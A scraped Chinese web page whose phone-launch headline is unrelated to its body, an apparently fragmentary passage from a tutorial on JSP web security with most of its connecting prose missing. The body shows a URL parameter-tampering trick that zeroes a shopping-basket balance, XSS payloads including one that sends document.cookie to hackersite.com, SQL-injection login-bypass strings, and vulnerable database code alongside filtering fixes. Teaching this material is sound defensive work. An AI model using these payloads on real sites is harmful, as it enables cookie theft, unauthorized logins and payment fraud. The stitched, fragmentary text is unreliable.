荣耀Magic7系列全面升级大王影像,首发AI超级长焦拍远更清晰
2024-12-23
if ((session.getValue("UserName")==null)││(session.getValue("UserClass")==null)││(! session.getValue("UserClass").equals("系统管理员"))) { response.sendRedirect("err.jsp?id=14"); return; } |
<jsp:useBean id="myBasket" class="BasketBean"> <jsp:setProperty name="myBasket" property="*"/> <jsp:useBean> <html> <head><title>Your Basket</title></head> <body> <p> You have added the item <jsp::getProperty name="myBasket" property="newItem"/> to your basket. <br/> Your total is $ <jsp::getProperty name="myBasket" property="balance"/> Proceed to <a href="checkout.jsp">checkout</a> |
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342 |
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0 |
这样,balance=0的信息就被在存储到了JavaBean中了。当他们这时点击“chekout”结账的时候,费用就全免了。
三、长盛不衰的跨站脚本
跨站脚本(Cross Site Scripting)攻击是指在远程WEB页面的HTML代码中手插入恶意的JavaScript, VBScript, ActiveX, HTML, 或Flash等脚本,窃取浏览此页面的用户的隐私,改变用户的设置,破坏用户的数据。跨站脚本攻击在多数情况下不会对服务器和WEB程序的运行造成影响,但对客户端的安全构成严重的威胁。
以仿动网的阿菜论坛(beta-1)举个最简单的例子。当我们提交
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>alert(document.cookie)</script> |
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>document.location='http://www.163.com'</script> |
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>document.location='http://www.hackersite.com/xxx.xxx?'+document.cookie</script> |
<% String message = request.getParameter("message"); message = message.replace ('<','_'); message = message.replace ('>','_'); message = message.replace ('"','_'); message = message.replace ('\'','_'); message = message.replace ('%','_'); message = message.replace (';','_'); message = message.replace ('(','_'); message = message.replace (')','_'); message = message.replace ('&','_'); message = message.replace ('+','_'); %> |
public boolean isValidInput(String str) { if(str.matches("[a-z0-9]+")) return true; else return false; } |
Statement stmt = conn.createStatement(); String checkUser = "select * from login where username = '" + userName + "' and userpassword = '" + userPassword + "'"; ResultSet rs = stmt.executeQuery(checkUser); if(rs.next()) response.sendRedirect("SuccessLogin.jsp"); else response.sendRedirect("FailureLogin.jsp"); |
用户名:jack 密码:' or 'a'='a 用户名:jack 密码:' or 1=1/* 用户名:jack' or 1=1/* 密码:(任意) lybbs(凌云论坛)ver 2.9.Server在LogInOut.java中是这样对登录提交的数据进行检查的: if(s.equals("") ││ s1.equals("")) throw new UserException("用户名或密码不能空。"); if(s.indexOf("'") != -1 ││ s.indexOf("\"") != -1 ││ s.indexOf(",") != -1 ││ s.indexOf("\\") != -1) throw new UserException("用户名不能包括 ' \" \\ , 等非法字符。"); if(s1.indexOf("'") != -1 ││ s1.indexOf("\"") != -1 ││ s1.indexOf("*") != -1 ││ s1.indexOf("\\") != -1) throw new UserException("密码不能包括 ' \" \\ * 等非法字符。"); if(s.startsWith("") ││ s1.startsWith("")) throw new UserException("用户名或密码中不能用空格。"); |
public class MyClass{ int a; public Init() {//此方法可以多个线程同时调用 a = 0; } public synchronized void Set() {//两个线程不能同时调用此方法 if(a>5) { a= a-5; } } } |
public void addFriend(int i, String s, String s1) throws DBConnectException { try { if…… else { DBConnect dbconnect = new DBConnect("insert into friend (authorid,friendname) values (?,?)"); dbconnect.setInt(1, i); dbconnect.setString(2, s); dbconnect.executeUpdate(); dbconnect.close(); dbconnect = null; } } catch(Exception exception) { throw new DBConnectException(exception.getMessage()); } } |
friendName=ParameterUtils.getString(request,"friendname"); if(action.equals("adduser")) { forumFriend.addFriend(Integer.parseInt(cookieID),friendName,cookieName); errorInfo=forumFriend.getErrorInfo(); } |
评论 {{userinfo.comments}}
{{child.content}}
{{question.question}}
提交